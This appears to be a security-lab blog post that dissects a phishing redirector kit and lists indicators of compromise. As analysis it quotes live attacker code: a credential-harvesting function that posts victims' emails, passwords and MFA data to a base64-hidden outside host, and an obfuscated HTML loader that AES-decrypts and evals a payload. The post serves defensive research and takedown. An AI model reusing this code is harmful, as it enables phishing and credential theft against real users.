lang:javascript function ju() { if (dGmqBFgJCX == false) { let formData = new FormData(); formData.append('bltpg', 'xDX7Z2'); formData.append('sid', 'ej11VSMZbt6LBql1L6je5EE6zO5NbYFIuBzxiEbS'); var e = "../oguH93rLfMaTCX7aJ3anmG33YT2OOTUZyJUsw"; fetch('https://sand.deabeayea.today/mori$nuioyuey', { method: "GET", }).then(response => { return response.text() }).then(text => { if (text == 0) { if (dGmqBFgJCX == false) { fetch(e, { method: "POST", body: formData }).then(response => { return response.json(); }).then(data => { if (data['status'] == 'success') { location.reload(); } if (data['status'] == 'error') { bg(); } }); } } if (text != 0) { bg(); } }) .catch(error => { bg(); }); } }

Given that the dGmqBFgJCX variable is false so long as this redirector does not detect a debugger, this next block should be the case we are interested in. We can see it does the following:

1. Send a Get to https://sand.deabeayea.today/mori$nuioyuey and look for a 0 response. We can assume that it's doing some form of logging of what attempted to hit it.

2. If the 0 String was returned we do a POST to the relative URL ../oguH93rLfMaTCX7aJ3anmG33YT2OOTUZyJUsw with the following FormData: {"bltpg": "xDX7Z2", "sid": "ej11VSMZbt6LBql1L6je5EE6zO5NbYFIuBzxiEbS"} and responses that contain {"status":"success"} cause a page reload. The form data is likely either tracking tokens, or an attempt at preventing data leaks from random POSTS.

Yikes! That’s a lot of checks. Now that we now know happen before the page reloads. Let's simply grab the page contents from the DOM and wade into the next layer of slop.

Finally, the phishing site we were looking for from the beginning!

Assuming this payload made by the same person (or LLM) as the redirector, we can grab the page contents by either accessing the page with the debugging tools open and waiting for their conveniently placed debugger; breakpoint, or we can use a myriad of other tools to gather the contents. We will want to inspect the specific behavior when we hit the "Next" button on this page:

lang:html <div class="text-right"> <button type="button" class="btn rounded-0 text-white px-4" id="next" style="background-color:#0066ba;cursor:pointer" onclick="checkEmail()">Next</button> </div> ... <div style="text-align:center"> <button type="button" class="btn text-white px-4" id="sub-btn-hotmail" style="background-color:#0066ba;cursor:pointer;border-radius:5px;font-weight:510;top:-25px;height:38px;left:5px;width:100%" onclick="submitPass()"> <span>Next</span> </button> </div>

We see some simple HTML that shows when the "Next" button is initially clicked, the browser makes the checkEmail() call. Then eventually another call to gets made with submitPass(). Every other link on the page we see links to the following URL which we can see mimics Oauth 2.0 parameters:

https://payoffs.heart-shaped.com.de/UegwH/?client_id=b14b5e83-609b-4571-ba14-f48898b77365&redirect_uri=https%253A%252F%252Fwww.office.com%252Flandingv2&response_type=code%2520id_token&scope=openid%2520profile%2520email%2520offline_access%2520https%253A%252F%252Fgraph.microsoft.com%252Fmail.read%2520https%253A%252F%252Fgraph.microsoft.com%252Fmail.send&nonce=tqNMsW4k2KlZeo40Tiu9NlJR5W4s2hdy#

• client-id: b14b5e83-609b-4571-ba14-f48898b77365

• redirect_uri: https://www.office.com/landingv2

• response_type: id_token

• scope: openid profile email offline_access https://graph.microsoft.com/mail.read https://graph.microsoft.com/mail.send

• nonce: tqNMsW4k2KlZeo40Tiu9NlJR5W4s2hdy

This allows the attacker to bail out to a legitimate site if something does not go according to their plan. Just in a way that is more convoluted than a simple link that may alert the taget. This may look like a valid Oauth link, but has two pieces of the flow reveresed, the redirect_uri would need to point to a malicious application, and the root domain would need to point to a valid Microsoft domain that would authorize the malicious app. If you would like to learn more about how Oauth can be used in phishing campaigns check out Microsoft's Documentation on the subject. Let's dig deeper into the checkEmail() and submitPass() functions. They are not included on the HTML, but appear to be included from a secondary import bootstrap.min.js Here is a snippet of that file:

lang:javascript function checkEmail() { var _0x4d6ea7 = _0x51035e , _0x181488 = { 'BRHMs': function(_0x4ad217, _0x23ed7f) { return _0x4ad217 <= _0x23ed7f; }, 'bJCEU': function(_0xd14409, _0xf1ec2e) { return _0xd14409(_0xf1ec2e); }, 'bcsvr': function(_0x2f9b90, _0x36fd8e) { return _0x2f9b90(_0x36fd8e); }, 'HoxeX': _0x4d6ea7(0x1773), 'TMzGY': _0x4d6ea7(0x25fb) + _0x4d6ea7(0x10c9), 'qvcSI': function(_0x17ccc6, _0x13565b) { return _0x17ccc6 == _0x13565b; }, 'JCQLr': _0x4d6ea7(0x2e03), 'JlSnF': _0x4d6ea7(0x1d05), 'JHbXC': _0x4d6ea7(0xa45), 'OjYSf': _0x4d6ea7(0x1991), ...

Goodness! It looks like our attacker finally learned how to obfuscate a JavaScript file. Hats off…

Anyway, we trivially deobfuscate the file and see the following function:

lang:javascript function checkEmail() { var _0x13be3a = $("#ai").val(); var _0x25fd5a = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/; if (!_0x25fd5a.test(_0x13be3a)) { $("#error").show(); ai.focus; return false; } $.ajax({url: atob("aHR0cHM6Ly8xOTU0NzUxOTAzLmN5b3UvZ29vZ2xlLnBocA=="), cache: false, type: "POST", data: "do=check&email=" + _0x13be3a, dataType: "json", success: function (_0x2c6f84) { if (_0x2c6f84.status == "error") { ... $("#error").show(); $("#pr").focus(); ai.focus; } else { if (_0x2c6f84.status == "success") { if (_0x2c6f84.type == "hotmail") { hotmail = true; $("#hmail").html(_0x13be3a); $("#prthotmail").animate({right: 0, opacity: "show"}, 0); $("#prhotmail").focus(); $("#signOptions").hide(); } else { hotmail = false; $("#aich").html(_0x13be3a); $("#pr").focus(); } } } $("#next").html("next"); }}); } We can take note of some immediately useful things here:

• They are obfuscating their URL collection sites with base64 atob

• They are checking whether they are getting garbage input with a regex

• They have some secondary auth checks built into this phishing site

Let's continue by grabbing the submitPass() function and checking that as well. For the sake of brevity, we will only include useful context; we too have grown weary from all the slop.

lang:javascript function submitPass() { $.ajax({dataType: "JSON", url: atob("aHR0cHM6Ly8xOTU0NzUxOTAzLmN5b3UvZ29vZ2xlLnBocA=="), type: "POST", data: "do=login&user=" + _0x4546b4 + "&pass=" + btoa(encodeURIComponent(_0x2c15f2)), beforeSend: function (_0xcdc4b1) { }, success: function (_0x108ea7) { ... if (_0x108ea7.status == "verify") { ... if (_0x5c7b6c.authMethodId == "PhoneAppNotification" || _0x5c7b6c.authMethodId == "CompanionAppsNotification") { if (_0x5c7b6c.authMethodId == "PhoneAppOTP") { if (_0x5c7b6c.authMethodId == "OneWaySMS") { if (_0x5c7b6c.authMethodId == "TwoWayVoiceMobile" || _0x5c7b6c.authMethodId == "TwoWayVoiceOffice") { ... } else { if (_0x83a98c.type == "notif") { pageHotmailAppNotif(email, _0x83a98c.code); } else { if (_0x83a98c.type == "code") { pageHotmailOTPApp(email); } else if (_0x83a98c.type == "list") { pageListOTPHotmail(email); ... } else if (_0x108ea7.status == "success") { window.location.replace(_0x108ea7.redirect); } ...

From here we can see they have functionality for various forms of secondary auth and the same base64 encoded domain to post credentials to.

https://1954751903[dot]cyou/google.php

Unfortunately for us, our work is not done. We need to take the time to identify these redirectors in the wild and start taking them down. With our efforts as well as contributions from OnlyScans we identified several hundred "Quantum Redirectors" and used some of the bypasses we mentioned here to gather and document their “human redirect payload sites, which you can find in the IoC section below. Almost all of the spoofed pages were for email services. We have already begun coordinating with our federal governmental contacts with these IoCs in order to help them burn down this AI slop infrastructure.

We here at Beazley Security Labs wish to provide you with a happy conclusion to this story, and in a world that keeps getting dumber and chaotic, it's worth reminding you all that that despite the growing amount of garbage that threat actors continue to push out to people, you have agency to do something about it. Often it seems like there are people who are leagues ahead of you in terms of technical expertise. Fortunately for us as long as attackers are using slop to cut corners, we will have a robust amounts of practice of the fundamentals. There has never been a better time to get started, and there is plenty of work yet to be done.

Bonus Decryptor!

The redirector obfuscation we wrote a python decryptor for appears in most of the samples. However, during our efforts in enumerating these redirectors we have found another pattern that we want to discuss here in case you find it yourself:

lang:html <html lang="en"> <head> <meta charset="UTF-8"> <title>latency</title> <meta name="robots" content="noindex, nofollow"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js"></script> </head> <body> <div id="oIvGt"></div> <script> var wmKh = "omULliQzg1JzyX3fOcB7\/IiE0gDVeHv8VuhMV4gYvZriDoKuLMNuVBuJurDukVEJ6EqPpWsKN1uYHHPSPIhMNOKPtW6XruLP8aiNuqg8u4kSRiQC6gr99VbAqON7eMxAOLLG\/kZC1epdUx33+bNhZIV+MRCo6PrekqPlDn1tlUpClihMv8Jgu6D6EGJ7sg63ORIsO9MSa6Z4GvEDMG\/NbhdfjnZKTXjPxUZ89k6IB+LpbwNQcuCHQO+eMU0QN5fDHvhpEQzUQG\/NBD2fc47wQ+e+R9C6lTj70x9iLTW6SYc2SJh3ewGSOTvdpMaf1PFLgemCq2BTQMEk7MT4CBfIq+vQFuDB4REtHYzNKlKuYgDt8rprE6c13nYcMLsuoc7Gq\/5wHw7DL\/2QRTXKcSezoBBCe0szaeQmFNVa0AJiNcOTHiCV3gleAE5N1jQVto0rbrQzdqh34ucNcU53XtgH0r+eru2JdoumkRW64A4JVFf1z04VwdKpYI3dSNLPsUpnLtzoh"; </script> <script> var fgnd = "CZcmPuHEtGWAXjkS03qals8suNS5ZxGE05kt6aNIYyRAMNYmXANgjKOvnBkuTbJ7So3q+CUA46AGRpZzJaOCoNeY3+Xnk\/HZ7\/QKA+aUbEkYDgdMXG4e2oSg4dkYOYkoDv8Ys9foOY3MT09eu1Y7fODD6eMf16tKMTwV1XFcUgZghj\/te7NzcZbpkJhXeZShcnSonul9VlA3Sio+X4reDpJqrYWnNxPnkiGL6t+FXoow64nF3JtracdOQfIGb9FWZVumI7xc5ddqwIvDytc0+7qhlHislsSfzMEMwgXHvdBSEzLW6g8evcZvbTKTBxM70iwiEltpnQN8lZmdhE9nWFgN7xcAjSo\/qKqw9LUyVaQz\/Phaq3GTYlpvI5AWV3uBaSA9DawDuyN1GTTg+iUxYFmPuUu6ZnXMCIjIZiDuyf3chVpC6RcJTQYOvG9fdr6IyyKnahH2\/cJ3l1V0Tpnflu1jRRd7gWwMgXJ3yrQ7gggILH9Pu64MTFNoyJ7doPZlGZOtK"; </script> <script> var qdIM = "5gkIP5+vpaEkTcRkWYmDr2MZ64SR8XLQusZ+sPmffnigoso69BDga94sPf9PZ9PHQ8cXFpzLHcASTS3G12XmutwXieGMzpvUBY1p8BdSaJaHGa47uwFBPeMuQEtO7+wG7kpoWMJIjx698SghDFTa61ia5pnXAbQ05e6ooF1vVh8ydT4oAR3O00T17vzTTxCMsDo9VsCQC8+6KE2DM4YhAQEFOanEJsm5vkNG7mocXld94yPirfHN0rIeVTe7rI+DyNeOwMDc+YB02oq1KCPgR3dkKsx1ZjxJkXc\/jsKgtYSGto+P\/t5814MIpwKj9tfozN2F2NR1MevS+wyZYrj9on7etreYeng+cVk8bVSak8a7ZshwEPNbYH1gvrtI5VCd4aFo9wmZOFCG7QlzY8ZoVssdcPGHeMkEPWrqkHxwFEATjTPkpgIYAKhNv8A7Vu4z33q0cu9Pn2EshdgWsnSOQLW2u4SPF8m7H9k0pHbpD3AlQHBsuVJHa\/axa0WAPR24o47Lm"; </script> <script> var hkah = "ms1kKwMpBSmY9zCUYmUUVVx892roZQ9YP97woM6vXwTrB8zodhap2O6WgpzzAi7KrjHsX+aUbNixzyn2bQSSgcJ6MHucjg0IrQkdRGmNvmJJqSBosD4vuQA5GwLQ2zdOnnTIQN9rN5JVScXD4ZPon3\/sjdheHOCN4ZMFxCiUN3HYHI23CGvdsRGotD\/UCNbc4XifyAKrcts18HdZH\/ZXF2ku7iYFpcv3T7UnE87ovUy3ocQ9IUv8W5kgFzNkLYa92kHH0\/c7GJsrMwVF3vPIIdUh9L8C64svYaweI\/por47cAv7ioB2BM+AfT2An\/8GOQw4MmyFyHxQeNI7l6LKF\/pJQsyzuDc1Fhxd6EWgFyh3yyUDfRhECRsfqInbzHqdlAfZ+es\/hmBOqdaktFxAO9aZ4D3n9VTlqlkmVbtk0exDy7lUCxL43CP8BC2Q4WOut+wQGue6gz33MnYWGrOSYutCH8BocZBdHoioSSvWWMDag8ASyXTG6ltvC\/cLuVhfNGTCLR"; </script> <script> var aWVK = "up6cLXcB97udg7xLzKx9PrhTGtyMvteCtTGWxEaMNiuWyapl3j\/ZaHbjQJ43cKGSK0l6xV5H0Mgw9b6BCr+wTK1CUdNA6yKN7vvx1qqTjhqji3fO1a8a6QjpLL5pM+7eLV7Bigt\/WgTQWA6PMYl4X9KDRcSU2drK9Ibkpv+dECOgHPOPTeX\/1\/Mb\/f\/D4BVSZtEy6UHY1yXRRXQu6cbkgrIkAsCsuQmCMwuR97VRtcBU\/ynXI+nSisSJ0NoFuOZPINL3e7BkZ+BAtdVlxvF\/KO1ze9ctXWcDVhF8wqTdVKH5dYA+cbdkKkq6zG1PaKQ32aloOkVNlXMi9BNaDyYsAmqleE+RQgY5+Zgg5VNwgZVjZpQ0VpHRxAPAAQOcWmr7XsKAbCu\/RpWUp5roJosZtGTYC9C+uixZqNIV9GZepes4PV6ZK4V2d1PCHOQbLJtKCE5rwR3dJsOZLkKqFuxdNPFFyrT7WjIIHicttS1wusxkrqYqznunQ5KtBuSSZRyhsI2z"; </script> <script> var nsIE = "u1Zm5vop5J3Bteo3eJqkkVaMwH7uKwfzhMxosKq1AUGju7z57RDyclOgE2WJOo0IwVWOGjQkMF7icbq6B1HyqY0F95zD3fOKv3MY6k5p\/RbdGebOrc9DQE7cmEK9CKeob1JlP4I84VDk2nq+KUcKMeCN4nNpvgX8ZYP7Dqy33ysPdP56R348VjAZLbyaoWgbOZS\/mwfxSlajRwL7xW+AGFDFpCWowfq7hqWHPX5jxJGPaRf\/y2e7yRsgxOxY0sWDaBvoMzc6y14Q0AdFjHrDrEe1Fg0rIilywTHtBQx2MvBfbbOMnlmRrl2VnczdoALfOUCgWSbrVcb6Q2gfcIisvUtoTaT3JLvbpDW53cG0kpDufBBREWMj6nrk9thtHyLJg19lJSwxVWs6xn2Kau3ZwcfWC0gNqqNeLCHbKh9rXgVtNxitfTGIhB3YJJQLbIH92sVSeErtr7WF8OqPLJPYnszRjjvNWoin3J+eSe97NdhdSaKEP9n0P05o\/Tsj3d5XAfop"; </script> <script> var TlSy = "APjg0PAwST1TWwPCPFsqvdOlnBgc77SVOEO4EfHF6xsVJ5wPG4uxYrD6y12KTNKdICChgDFTiKge18jSsTrjJuo8lZNZ9ehb+yvveE92RFtU19J4UJE297HEzMXln9kwEmOK\/jmymqO2Wcc5fJaM8xcZ+Po4e4xotCiHouBtvPeB3j+RHazWCapudU69ntvuZ7K5KwcbLthhLfz9S+rRs2hTxax\/gAfmBpdRhESRyKs+J680+ALOm1aeVXOLxJWdJVWMw223Eo3Y0vkhNZG+iJxVIpDvLhY\/u1yry1xJSuKDZLLVUxuMpleQP8mk60SeqDf1oWiJVWc2iWeeXx4fYyepx7N3Y2r+O4H+JU8l22PwmqG+L515jveB4Eec8\/BCQm+eI00kxXWogYAFjIcFd4r2D3VGlCygbnloxZDqwqj6UEBwYJLxkgdAQ0v\/KNHxwvplp9\/dlDAArkow8KUdI9eYdCxshS5rivW\/lwNMoMJyghUl9TETxcnhOP3ghu0RFylp"; </script> <script> var ejhC = "bKsv3Fj4jua9o72owfuohdpROZP80m5CyVfx73XM8vp6f4G51fk8+vXeJ05Oq4uO5LC8iWLR8DksZBrr1kF1fHgALbMXGpv9Vsc7EXfJIyjG5xmlZt57YOwjRpFyNbfa5Jss0o2aIx7LDoBmF+ZUcIhA1xhNzpZbX8ENDJIyOivj9jZRJMLHIwdhoQFyGnvwq0MrVi9u6wpUgy2QPAnyX\/GkAYQyWj3aHqAvLhNzt6gOvferg0UIHSSq9IZnffJSGza5f+6+\/WUHyd+IguuF7ztOayvSBDqVEYxPlm\/thI6PDDdU5+TA14QQee6Ve7Mmdtgy6qHFR5F4dpn9+ajKcYUq4YXHe2+y39xUwfEAC0qvHrIKcEEbDj1smwc6vQJ3TLa+NWrtecFIb+A5VhGJAel43kxYn0bPf6RhpgafrCGhwhi9IBNKDm2tMnPPzIjhE5wPFKUT1TWUeO4UlY+yxDyp4VpLo+TNaSm8e1SymovfGcWPgDbNdBDIGkwmul9PKKKQ"; </script> <script> var OTrB = "D+jcdg508k8YpvHOpvE+r21kd9qtCbvz1TOcOHJGz1Lawj9WIAlhf7lGNxl3JmBXFsZcF8KdJaN2nzaJWc+f\/ewovKiBz2yO6o+o2BS3lKm2\/kZTIBUVKoThR\/EWdhioTfHN6fLIOcmKxVUktWFcq3OzpwJizKD\/Y+\/lWPqtx0GxXBCvPDDeibRgyeCgR0\/LBnzX5TuwIaiRCD6HQ8X0zd\/UfLGhVHmDtENiuvaH0Bmi22Uq17r101WiSnrJNiF+7krFqHbiGD8CajwJJ4uOZ0BgxayILouR\/IMDQYoqt8dHoY2gsMObtICIC4sPkgZMWwH1J7AhnaMVD5yuwwlFwy7b+PTYg5cyzNGtU4txySWIcRCgerGA7D7tNcKEhHeSjnaf\/cAxjzB+rjMfAet2b5U0x8vL5JEsz0LqOb4K65Ee4avn1tiTuBCG+x7mdq4ny5A1x3cLTQTPhTenEOKDehQUU853sibrZfVF5vBMAJa2Vhm+MVsKz6IWNHhcRMG5hTud"; </script> <script> var BmQE = "PoXYqwcWuhbZdDgt5jg\/VY7pFtjHNQiCEJ0588MxCliNq76xOeF\/TXe9hde4XGiuEC2SlaCL8afSDURv49Zn1ZymHSU6VBjIcPPhjT\/bD\/nahGcptqyGEVAvffGBkHB8PDGC9\/MZcC9hB7DStx5StlRFXOqCYvSjWVnzlZa4m3mnwpVUs+J98x9JKg9EN1AyGf2spVDLnZPxejHO55vfp3IdwhKWq4IxYR1Y6A6CCJ1P5OnchD2uHE8w1aTOVWxXIOplURkb97jnfvZXlvrjWqGv1sbZnAILbEFP1kZtNvHbKrjjaU+r5mpQJod9CQM\/ta\/xPu4Kb06bd\/mwp9wjOnl0Nx9P3BEw9UQQA7+rk7MOAnZfDUVJId06ywp4qeOsPsGiuQXEt5Bs40tHqiyVm2umvcmxgaZU3ySU6BDAI5lPLvCo4vb91A314BeX3KvGxTkPi73628WEEdDVtEG0lYP\/uSC6oeQfSOB0kC0L3yeHH\/GK7knAj7FcRIhMHnjk228O"; </script> <script> var Vmkd = "+e6zV\/B4AfQ3UYvRmUoUt+WTtmwzG3YEaBnSAM9ys1MwciSeyjOMnp+b++BQJIGlNRQwISJcOWY\/DVqED1BLHyLTW0C2MlwDy\/XFl5e4v4tpfW8N57vYtKQYeJYwwUmzzdwfK\/+miU7Az6pfzYsqhvEmnsypVYbq14Ak6GrvNprmeKQG8zSvzqR9YaF99EOkrgcSp5PCxDpFRRJ6OGMn0vkTHnAF+B\/YT5WJOSG+yoA7QK69rFr3TKsU8Zi8ynyJb\/tsrBG+Nf2XRtAj2F1EHB5+cQ\/vcY8OxIDK++n4IOjA8ohPDmrA7uSWwxM4hSSGNc\/PhFoSQpBV4ge5DW2YeguSfO8Gd5s2Vcix4C2yH5DmoY+Aan9xflDqGrY5+0MXCscg9GYr5fmzXlsp0o5xISPdyw7v8Q3b\/B6pjFKxJZFKfWyuByRIwMrvUgSTvjcp3G9bG5IJ+7SZ\/CA\/I30YVSr0b6ZKPNQZ9eMWKsLOjR7lwDwuKP5Ivj\/iRcF8kezg8eUs"; </script> <script> var lkDX = "mXh0M5PfTERuEoe65BVMPpuJwbE1ZcvLCrtbnqbeSKSawJQT57Fo6IkAQHUBSkTFhZR3MwKJ9uEE4vbUOlE93bc515i+A\/orWalChtlvfOgK8dO+paoICg28nkRsU2RZObTqKl+azQeLeM4887PifXqAMNl2Fujtfp9NLgIAsCopKHU453YXniY1gTYzugF6pz2O4EEkbsIpW4rx7tlYpj3lQdJRZUg7ON5q7hZsOj+4Z27KonWoznDZdEcJ3DNfN5QiHFGZG54P+HzIqjZCeiCQ8jD5D3GWrj+FE\/YeyJYvFRnZwokcgrRUNNfAYay065UwyTC\/4hnjJR1+UQD03alJ2ej5d\/zbxubBQVMWraAuTZqYmb5FMx\/pieWHGooIPPg6tT+dj5SV4p2aPM8f9pjjNmdQktH9qxd+2McQnHaITTS7nNS9G1dnJFB+rfSa7qCVkG7HHdi\/065cv7LkRM1wUUDlfENPoVHtDnYYffc3xPhLQTSMmz3C5qDk08myEz1T"; </script> <script> var LyMg = "8FLKUVa5J3aAJUbsKdhNymgk\/GKNm2pODASxpfAImmZxGrtq1EKdQgjDkA0NIA+bae+lTpaSyecgzWQPC6wWskp421tG6A0yrUML94InE0TRJvrXhoJB37OwuvtR1xecFe5iEhJz7RZ3nsLT+KSXlebt9W5Tuk8hKQgPj3cLw\/WFKGxEbcKYBI+BK9NL8aRHJwcwf6HvYVO87l\/m9T6HLguiYact8qQ\/f\/rQGYMCX26J928QPJ3kJeJNaN2SFJhZ4zpM+R9Urj2NDMj3+2vII6NYD2Rl7DzHpKCaC\/PShXj2OonKZ4wNsy2MLPYXE4I4LDG3NawSY+RoT3QoAfv2iCM5CZPMqi0+ldZzkoTFseVVaRKLXcEIjbaRRE1j35Lf9sGR7Bp\/fYlveuRQuzC4f9mHHaWfHV8UvRMs8LBBxU70bzfuySWfPQYUZ6I4a4D2hwmiM\/M5BVaFR0W80utu9QG7xS\/gHi4LvJk+Wyqb1aJLK\/i4Hw2AqejSmoNKYA62PxXm"; </script> <script> var nDmE = "XoXiRbcfhiwk6z7OoFEe4XdPNyGSzeeAltBNOiKCVvL8fTGCXVdQaEI5G4EJv8kXQusgIaeUqhMAWa0Y+dF+0+1vFpBzB6NXmTzWWu0KNxN9Elj9ISXVYhpfAEm0sXQQf9ul6o3+aMQDc3WqNRhiiqD3yzAPpEoIaGegR9tYgItn7GI9gouXQv8a\/lMbGGpt9gqSV8yX9lHW2p8biYISD76JNcmjxCXz0DwdtY5ZLKQ+bQwfLLlD+PqAk8hC1+COW2Rr+MO1z1umXYwNgjcgDkmLMh5sMRQAemq9jcIjUyjyof\/j1tFTm\/Y4dTwTRcfeaT\/lh7\/I+F7nqyjxxYiyYyOoRQ+AxHcmufkhScCMiZN2Rd6Q3+aVJP7seejW4jmsRnYCeoKzAUsCvM08pzumq5uF1pjDM5vHHOkRRORxxbfTMVu8KglFiOGArO3QWfv5G8TWCBMD3rxOfYmESNN\/UDOPJEbXrbLu8HuIY6aJGOTAB6knGSOKJAMtSmJi+srhR5Po"; </script> <script> var hdtn = "2wnneZQarRm2+ngJH1aj90dvK\/iWRbMW5g80pPvMLmjUEf1k6xWLBlqRv5Y1BW7xaJPJODCMjjldY7YykBjC5q+tmZ26nt5sW\/ToNxMkdxaSRfEYcHkU3ByJI0IqC8B579JCvpYzSqhIGW\/lZVa6XLi44PMdIu3W2upMnNYqK6blun8B8faycJh2NQEm1E1a9iOU6SOzeedp7UMKyHmYnkqTg0icXhiUmyUWeBeilZytkrTuX+ZLOgF1E+yRAwX0DR8622kBYkUR53oW6KzOpROEZcdhUe6OhFiILt8F99sKEsypHth9L1JBjxqH1+7ScCXUwjaORf7qiN1jkiuz3TUv1+vwZsvehnlihR2ZgcTetoWr1mS\/m4yDs34gKcJPwzrbDfVLiqh6GZCSl6D7RpSI\/MF1ClFhqrySZkhxoH1GplGRkinqCsyJWWuUXy43JDv+3WPc+xOr+1Ls+EttfIZUdG\/IlwZs78zcylIRBW\/EKTo6k\/gX3hgUx2l16FLUEuc3"; </script> <script> yVallSAt = wmKh + fgnd + qdIM + hkah + aWVK + nsIE + TlSy + ejhC + OTrB + BmQE + Vmkd + lkDX + LyMg + nDmE + hdtn; </script> <script> BQKlktwlNt = 'YNJLQgzHxvcbGAlBiGFHuUfPguhNSgsa'; const SGPIfLdhJh = [0, 1, 2, 3, 4, 5, 6, 7]; const VLgvkzhgfB = [67 ^ (0 % 3), 114 ^ (1 % 3), 121 ^ (2 % 3), 112 ^ (3 % 3), 116 ^ (4 % 3), 111 ^ (5 % 3), 74 ^ (6 % 3), 83 ^ (7 % 3)].map( (NyrGXxcGPq, RzhdBorzTU) => (String['constructor']('return String')())['from' + 'Char' + 'Code'](NyrGXxcGPq ^ (RzhdBorzTU % 3))); const zZSFsgLvyJ = SGPIfLdhJh.map(RzhdBorzTU => VLgvkzhgfB[RzhdBorzTU]).join(''); const vdetwAbsaL = globalThis[zZSFsgLvyJ];

FygghXUWQi = vdetwAbsaL[["A", "E", "S"].join("")][["d", "e", "c", "r", "y", "p", "t"].join("")](yVallSAt, vdetwAbsaL[["S", "H", "A", "2", "5", "6"].join("")](BQKlktwlNt), { [["i", "v"].join("")]: vdetwAbsaL[["e", "n", "c"].join("")][["U", "t", "f", "8"].join("")][["p", "a", "r", "s", "e"].join("")]('1234567890123456'), [["m", "o", "d", "e"].join("")]: vdetwAbsaL[["m", "o", "d", "e"].join("")][["C", "B", "C"].join("")], [["p", "a", "d", "d", "i", "n", "g"].join("")]: vdetwAbsaL[["p", "a", "d"].join("")][["P", "k", "c", "s", "7"].join("")] }); PlBieTDVZQ = FygghXUWQi.toString(vdetwAbsaL.enc.Utf8); const HFEWtxsCkH = (function() { const hwlmhVblUs = Function("return String['fro' + 'mChar' + 'Code']")(); const eBEDwTQura = hwlmhVblUs(101, 118, 97, 108); const qOsoWfvooL = hwlmhVblUs(103, 108, 111, 98, 97, 108, 84, 104, 105, 115); let iDLrErVuqD; try { iDLrErVuqD = new Function('return this')(); } catch (lDPOvXAavA) { iDLrErVuqD = new Function('return global')(); }

return (xMlPmeiFag) => iDLrErVuqD[qOsoWfvooL][eBEDwTQura](xMlPmeiFag); } )();

HFEWtxsCkH(PlBieTDVZQ); </script> </body> </html>

Here the attacker is at last attempting to use some established cryptography, specifically AES-CBC. We can see in the above they use YNJLQgzHxvcbGAlBiGFHuUfPguhNSgsa as the passphrase, 1234567890123456 as the IV, and we are using PKCS7 for padding. This one is as simple as stitching together the base64 encoded variables and decrypting it. As with the other example, this is a good place to practice your crypto debugging skills. We will include our solution here for those who don't enjoy exercises for the reader.

lang:python from Crypto.Cipher import AES from Crypto.Hash import SHA256 import base64 ciphertext_b64 = "..." ciphertext = base64.b64decode(ciphertext_b64) key = SHA256.new(b"...").digest() iv = b"1234567890123456" cipher = AES.new(key, AES.MODE_CBC, iv) plaintext = cipher.decrypt(ciphertext) pad_len = plaintext[-1] if all(p == pad_len for p in plaintext[-pad_len:]): plaintext = plaintext[:-pad_len] print(plaintext.decode("utf-8", errors="replace"))

Indicators of Compromise (IoCs)

Quantum Redirector Domains:

2fhcqgpjiorrrv317if4yo.miderecho-milugar.com a.abdurrezakkaya.com a.adabkhane.com a.avbosquessannicolas.com a.bostonsoul.org a.bwcollision.com a.campdelta.org.za a.clickours.com a.comfortcarevetlangley.com a.creativecutter.org a.dit.asia a.dr-sobhikanawati.com a.elazigyapilab.com a.emamutfak.com a.endermolapark.com a.firatyapimuhendislik.net a.gelaziz.com a.hamarcho.com a.holistichealingartswb.com a.induycom.com a.jamaicamoravian.org a.jollystephenassociates.com a.kehribarinsaat.com a.koin50.org a.letsgohomebaby.shop a.linknet88.org a.luxurycenturion.com a.macpropertiesja.com a.moclaritysapassessments.com a.mundobompao.com a.muratjeo.com a.nevzatulger.com a.newpress24.ma a.nickbdesigns.com a.nishidiving.com a.numantarim.com a.qanvry.com a.redevetornorte.com.br a.renovadamente.com.br a.rojinacenter.com a.roottopltd.com a.rutalagourmet.com a.shabakatalada.com a.stanly-chamber.org a.stechltdbd.com a.tatarlarpano.com.tr a.thinkbrandlab.com a.transportwithawb.com a.unapologeticapologetics.com aa.consultoriapericial.com aa.fahrenheitacfl.com aaa.concaribe.com aaa.thedevilrockfour.com actisolution.com aomaot.com at.capeflair.com autodiscover.globalgums.com.pk b.adabkhane.com b.bacfug.org b.drbadieidris.com b.fusiongas.co.za b.gelaziz.com b.hocbongpanasonic2021.com b.redevetornorte.com.br bd.roottopltd.com c.ccbsawholesaleconference.co.za c.nishidiving.com c.renovadamente.com.br c.roottopltd.com carloscanturosas.com cd.abdurrezakkaya.com cd.atcioglunakliye.com cd.endermolapark.com cd.favorigergitavan.com cd.ilgikursmerkezi.com cd.istanbul-arkadas.com cd.qx2box.com cd.shabakatalada.com championrecruiters.com colombiaweb.org cumbumbank.com d.clickours.com dd.abdurrezakkaya.com e6st5nga6jb0d6zmukn4.miderecho-milugar.com file.britishhomeemporium.com file.cumbumbank.com ftp.peflawncareservicellc.com gymnationsurat.com hamptonsbellevues.com hcqgpjiorrrv317if4yo.miderecho-milugar.com hffzfupxrfdd3ons33rn.104east.net i.architaxsv.com i.avalondeco.com i.chinuchcoaching.com i.naz-it.com i.nextstoreus.com i.papeleriabogota.com.mx i.parentingplans.org.za i.powayeyeworks.com i.securelinxpk.com i.srlandbd.com i.yabiso.org io.lupescleaningservice.net jp.shabakatalada.com jpbg6h6qcc5cn2cvix6e.104east.net k.freshvista.sa.com k.hosteriaalemana.cl la.abdurrezakkaya.com la.baykarmobilya.com la.elazigyapilab.com la.newpress24.ma la.ocogom.org lgkkt.baykarmobilya.com m.adabkhane.com m.groomerapp.com m.northshoregoodneighbors.com maiamayor.com.br mail.championrecruiters.com mail.cumbumbank.com mail.harkenhouse.com mail.lilibeula.com mail.northshoregoodneighbors.com mail.ortomedic.org mail.pauloalmeidadesign.com.br mail.wiltonbasketball.com md.linknet88.org melopego.com mn.baykarmobilya.com multanland.com mx.abdurrezakkaya.com mx.baykarmobilya.com mx.elazigyapilab.com mx.endermolapark.com mx.favorigergitavan.com my.britishhomeemporium.com nakedplugins.com narayanmishra.com oed.abdurrezakkaya.com ok.newpress24.ma oovjh.mecanicasanjuan.com ortomedic.org p.ohiotrustproperties.com pauloalmeidadesign.com.br peterdog.com.mx potral.jec.sa.com r.gestaokireeff.com.br remittances.dahnimusic.com rootedbeautywestford.com safe2clickview.tlmautomacao.com.br safepage.malibuinterventionist.com safepageclick.amorevents.ca sd.shabakatalada.com services.faroutcleanandhandy.com.au sharedfile.servicesavailableavailable.info sk.shabakatalada.com 